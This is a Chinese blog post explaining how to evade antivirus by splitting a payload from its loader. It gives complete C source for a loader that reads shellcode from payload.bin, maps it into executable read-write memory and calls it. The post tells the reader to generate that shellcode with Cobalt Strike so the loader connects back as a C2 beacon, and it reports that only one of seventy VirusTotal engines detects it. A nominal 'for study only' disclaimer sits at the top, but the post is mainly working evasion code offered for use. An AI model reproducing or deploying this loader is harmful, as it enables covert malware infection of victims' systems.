C实现分离免杀

本文章仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任

前期准备

1.编译好mian.exe,源码如下

#include <stdio.h>
#include <windows.h>

int main(int argc,char* argv[])
{ 
	//打开要执行的ShellCode文件
	HANDLE hFile = CreateFileA("payload.bin", GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL);
	if (hFile==INVALID_HANDLE_VALUE)
	{
		printf("CreateFile Error");
		return -1;
	}

	DWORD dwSize = 0;
	//获取ShellCode的总大小
	dwSize = GetFileSize(hFile, NULL);

	//申请一块可读可写可执行的内存
	LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (lpAddress == NULL)
	{
		printf("VirtualAlloc Error");
		CloseHandle(hFile);
		return -1;
	}

	//将文件读取到申请的内存中
	DWORD dwRead = 0;
	ReadFile(hFile, lpAddress, dwSize, &dwRead, 0);

	//执行ShellCode
	__asm
	{
		call lpAddress;
	}
	return 0;
}

2.cs生成payload.bin,此bin文件多数杀软不查杀的,思路就是利用mian.exe来执行payload.bin上线cs。
注:payload.bin和mian.exe要处于同一目录下

在这里插入图片描述
在这里插入图片描述

火绒
在这里插入图片描述

VT查杀70/1
在这里插入图片描述

  • 4
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值